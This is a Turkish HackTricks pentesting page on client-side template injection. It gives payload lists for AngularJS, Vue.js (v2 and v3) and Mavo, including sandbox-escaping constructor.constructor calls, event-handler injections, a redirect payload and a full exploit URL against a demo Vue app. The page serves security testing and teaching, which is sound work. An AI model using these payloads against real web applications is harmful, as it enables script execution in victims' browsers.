hacktricks/pentesting-web/client-side-template-injection-csti.md
2024-02-10 18:14:16 +00:00

6.9 KiB
Raw Blame History

AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Özet

Bu, sunucu tarafı şablon enjeksiyonu (SSTI) gibi, ancak istemci tarafında gerçekleşir. SSTI, uzaktaki sunucuda kod yürütmenizi sağlayabilirken, CSTI, kurban üzerinde keyfi JavaScript kodu yürütmenizi sağlayabilir.

Bu zafiyeti test etmek için yol, SSTI durumunda olduğu gibi çok benzerdir, yorumlayıcı, çift anahtarlar arasında yürütülecek bir şey bekleyecek ve onu yürütecektir. Örneğin, {{ 7-7 }} gibi bir şey kullanarak: sunucu savunmasız ise 0 göreceksiniz ve değilse orijinali göreceksiniz: {{ 7-7 }}

AngularJS

AngularJS, HTML ile etkileşime geçen yaygın olarak kullanılan bir JavaScript çerçevesidir ve ng-app olarak bilinen direktifler aracılığıyla HTML içeriğini işler. Bu direktif, AngularJS'in HTML içeriğini işlemesine olanak tanır ve çift süslü parantezler içinde JavaScript ifadelerinin yürütülmesini sağlar.

Kullanıcı girişinin dinamik olarak ng-app ile etiketlenmiş HTML gövdesine eklenmesi durumunda, keyfi JavaScript kodu yürütülebilir. Bunun, giriş içinde AngularJS sözdiziminden yararlanarak başarılabileceği bir örnektir. Aşağıda, JavaScript kodunun nasıl yürütülebileceğini gösteren örnekler bulunmaktadır:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

AngularJS'deki bu zafiyetin çok basit bir çevrimiçi örneğini http://jsfiddle.net/2zs2yv7o/ ve Burp Suite Academy adreslerinde bulabilirsiniz.

{% hint style="danger" %} Angular 1.6 sandbox'ı kaldırdı bu yüzden bu sürümden itibaren {{constructor.constructor('alert(1)')()}} veya <input ng-focus=$event.view.alert('XSS')> gibi bir payload çalışmalıdır. {% endhint %}

VueJS

Zafiyetli bir vue.js uygulamasını https://vue-client-side-template-injection-example.azu.now.sh/ adresinde bulabilirsiniz.
Çalışan payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

Ve zafiyetli örneğin kaynak kodu burada: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

VUE'da CSTI hakkında gerçekten iyi bir yazı https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets adresinde bulunabilir.

V3

{{_openBlock.constructor('alert(1)')()}}

Kredi: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Kredi: Mario Heiderich

Daha fazla VUE payload'una https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected adresinden bakabilirsiniz

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Daha fazla payload için https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Brute-Force Algılama Listesi

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

AWS hacklemeyi sıfırdan kahraman olacak şekilde öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları: